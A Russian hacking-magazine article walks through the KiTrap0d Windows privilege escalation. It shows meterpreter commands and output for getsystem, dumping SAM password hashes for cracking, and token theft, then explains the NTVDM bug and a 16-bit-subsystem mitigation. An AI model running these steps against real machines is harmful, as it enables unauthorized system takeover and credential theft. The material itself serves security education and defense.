Повышаем привилегии до NT AUTHORITY\SYSTEM в любой версии Windows

Буквально за несколько дней перед сдачей номера в печать Metasploit обзавелся свеженьким модулем, про который мы просто не могли не рассказать. Благодаря новой команде getsystem, на скомпрометированной системе стало возможно перейти из User Level в ring0, получив права NT AUTHORITY\SYSTEM! И это - в любых версиях винды.

19 января 2010 года стала публичной 0-day уязвимость, позволяющая выполнить повышение привилегий в любой версии Windows, начиная от NT 3.1, выпущенной в еще в 1993 году, и заканчивая новомодной "семеркой". На exploit-db.com хакером Tavis Ormandy были опубликованы как исходники сплоита KiTrap0d, так и скомпилированный бинарник, готовый к применению. Опробовать оригинальный сплоит может любой желающий. Для этого нужно лишь извлечь из архива vdmexploit.dll и vdmallowed.exe, каким-либо образом передать на машину-жертву, и там запустить exe-шник. В результате, независимо от того, под аккаунтом какого пользователя выполнен запуск, появится консоль с привилегиями системного пользователя, то есть NT AUTHORITY\SYSTEM. Проверки ради можно запустить сплоит на своей машине, предварительно залогинившись в систему под обычным пользователем. После запуска сплоита откроется новое окно cmd.exe с максимальными привилегиями.

Что это дает? Представь ситуацию, что сплоит пробивает некоторое приложение и получает шелл на удаленном компьютере. Пускай это будет сплоит для Internet Explorer - в этом случае у взломщика на руках будет доступ к системе с правами того пользователя, под учеткой которого был запущен браузер. Не спорю, очень часто это будет аккаунт с правами администратора (пользователь сам виноват), но если нет? Вот здесь-то и можно заюзать KiTrap0d, чтобы поднять свои привилегии до NT AUTHORITY\SYSTEM! Мало того, даже те пользователи, которые входят в группу администратора, не могут обращаться к некоторым участкам системы, например, для чтения хешей паролей пользователей (об этом ниже). А NT системный акаунт - может! При всем этом, на момент публикации статьи ни одного патча со стороны Microsoft, закрывающего уязвимость, выпущено не было.

Операция "Захват системы"

Демонстрировать в действии оригинальный сплоит мы не будем, потому как 25 января в Metasploit был добавлен новый скрипт, благодаря которому использовать KiTrap0d стало еще удобнее. Первоначально попавший в базы модулей вариант был нестабилен и срабатывал не всегда, но не прошло и полдня, как все ошибки были устранены. Сейчас модуль закачивается вместе со всеми остальными обновлениями, так что для установки достаточно выбрать пункт в меню "Metasploit update". Теперь, имея доступ к удаленной системе, можно набрать "run kitrap0d" и привести сплоит в действие. "Но раз пошла такая пьянка, реализуем-ка мы для этого дела специальную команду", - подумали разработчики Metasploit. В результате получилась замечательная такая команда "повысить привилегии", доступная через расширение meterpreter, - нам она очень нравится :).

Итак, у нас есть доступ к удаленной системе (наглядный пример эксплуатирования приведен в статье "Операция "Аврора") и мы находимся в консоли метасплоита. Посмотрим, как у нас обстоят дела с правами:

meterpreter > getuid
Server username: WINXPSP3\user

Ага, обычный пользователь. Быть может, он даже входит в группу администраторов, но нам это не важно. Подключаем модуль, в котором реализована интересующая нас команда getsystem, и проверим, погрузилась ли она, отобразив на экране справку:

meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:

-h Help Banner.
-t The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Как видно, сплоит KiTrap0D реализует лишь часть функциональности команды. Если тебе удалось отхватить шелл с пользователем, у которого уже есть права администратора, то для поднятия до уровня NT AUTHORITY\SYSTEM можно использовать три другие техники (выбрать нужную позволяет ключ -t). Так или иначе, не указав вообще никаких параметров, мы укажем метасплоиту, что тот может использовать любой из подходов. В том числе и KiTrap0D, что повысит наши привилегии до уровня "Система", какими бы правами мы сейчас ни обладали.

meterpreter > getsystem
...got system (via technique 4).

Ага, получили сообщение об успешном повышении привилегий, причем для атаки использовался именно KiTrap0D - видимо, у него приоритет. Действительно ли мы поднялись в системе? Проверим наш текущий UID (идентификатор пользователя):

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Есть! Всего одна команда в консоли метасплоита и права NT AUTHORITY\SYSTEM у нас в кармане. Далее, вообще говоря, можно все. При этом напомню, ни одного патча от Microsoft на момент выхода журнала еще не было.

Дампим пароли

Раз уж на руках есть доступ к системному аккаунту, то надо извлечь из этого что-нибудь полезное. В арсенале Metasploit есть замечательная команда hashdump — более продвинутая версия известной утилиты pwdump. Более того, в последней версии метасплоита включен переработанный вариант скрипта, который использует модернизированный принцип извлечения LANMAN/NTLM хешей и пока не детектируется антивирусами. Но смысл не в этом. Важно, что для выполнения команды hashdump необходимы права NT AUTHORITY\SYSTEM. В противном случае программа выдаст ошибку "[-] priv_passwd_get_sam_hashes: Operation failed: 87". Происходит это потому, что LANMAN/NTLM-хеши паролей пользователей хранит в специальных ветвях реестра HKEY_LOCAL_MACHINE\SAM и HKEY_LOCAL_MACHINE\SECURITY, которые недоступны даже администраторам. Их можно прочитать только с привилегиями системного аккаунта. Вообще говоря, использовать сплоит и затем команду hashdump для того, чтобы локально извлечь из реестра хеша, совсем не обязательно. Но если такая возможность есть, почему бы и нет?

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3ed7[...]
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
Guest:501:aad3b435b51404eeaad3b435b51404ee:...
HelpAssistant:1000:ce909bd50f46021bf4aa40680422f646:...

Хеши получены. Остается скормить их какому-нибудь из брутфорсеров, например, l0phtcrack.

Как вернуть привилегии?

Забавная ситуация произошла, когда я попытался вернуть права обычного пользователя обратно. Найденная команда rev2self не срабатывала, и я по-прежнему оставался "NT AUTHORITY\SYSTEM": видимо, она предназначена для работы с тремя другими подходами, реализованными в getsystem. Оказалось, чтобы вернуть привилегии, необходимо "украсть" токен процесса, запущенного тем пользователем, который нам нужен. Поэтому отображаем все процессы командой ps и выбираем из них подходящий:

meterpreter > ps
Process list
============
PID Name Arch User Path
--- ---- ---- ---- ----
0 [System Process]
4 System x86 NT AUTHORITY\SYSTEM
370 smss.exe x86 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
...
1558 explorer.exe x86 WINXPSP3\user C:\WINDOWS\Explorer.EXE
...

Как мы видим, explorer.exe запущен как раз под обычным пользовательским аккаунтом и имеет PID=1560. Теперь, собственно, можно и "украть токен", заюзав команду steal_token. В качестве единственного параметра ей передается PID нужного процесса:

meterpreter > steal_token 1558
Stolen token with username: WINXPSP3\user
meterpreter > getuid
Server username: WINXPSP3\user

Судя по полю "Server username", операция выполнилась успешно.

Как это работает?

Напоследок стоит рассказать о природе уязвимости, приведшей к появлению сплоита. Брешь в защите возникает по вине ошибки в обработчике системного прерывания #GP (который называется, nt!KiTrap). Из-за нее с привилегиями ядра может быть выполнен произвольный код. Это происходит, потому что система неправильно проверяет некоторые вызовы BIOS'а, когда на 32-битной x86-платформе выполняется 16-битное приложение. Для эксплуатации уязвимости сплоит создает 16-битное приложение (%windir% \twunk_16.exe), манипулирует с некоторыми системными структурами и вызывает функцию NtVdmControl(), чтобы стартовать Windows Virtual DOS Machine (aka подсистма NTVDM), что в результате предыдущих манипуляций приводит к вызову обработчика системного прерывания #GP и срабатыванию сплоита. Кстати говоря, отсюда вытекает и единственное ограничение сплоита, который срабатывает только на 32-битных системах. В 64-битных операционках банально нет эмулятора для запуска 16-битных приложений.

Почему информация с готовым сплоитом попала в публичный доступ? О наличии уязвимости автор сплоита информировал Microsoft еще в начале прошлого года и даже получил подтверждение, что его отчет был принят к рассмотрению. Только воз и ныне там. За год официального патча от компании не последовало, и автор решил опубликовать информацию публично, надеясь, что дело пойдет быстрее. Посмотрим, выйдет ли заплатка к моменту появления журнала в продаже :)?

Как обезопасить себя от сплоита

Поскольку полноценного обновления для решения уязвимости пока нет, придется воспользоваться обходными путями. Самый надежный вариант - отключить MSDOS и WOWEXEC подсистемы, что сразу лишит сплоит функциональности, т.к. он больше не сможет вызывать функцию NtVdmControl() для запуска NTVDM-системы. В старых версиях Windows это реализуется через реестр, в котором нужно найти ветку HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW и добавить какой-нибудь символ к ее названию. Для современных ОС устанавливать ограничение на запуск 16-битных приложений надо через групповые политики. Для этого вызываем GPEDIT.MSC, далее переходим в раздел "Конфигурация пользователя/Административные шаблоны/Компоненты Windows/Совместимость приложений" и активируем опцию "Запрещение доступа к 16-разрядным приложениям".

WWW

Описание уязвимости от автора сплоита:
http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html

Временное решение для устранения проблемы от Microsoft:
http://support.microsoft.com/kb/979682

WARNING

Информация представлена в образовательных целях. Использование ее в противозаконных целях может повлечь за собой уголовную ответственность.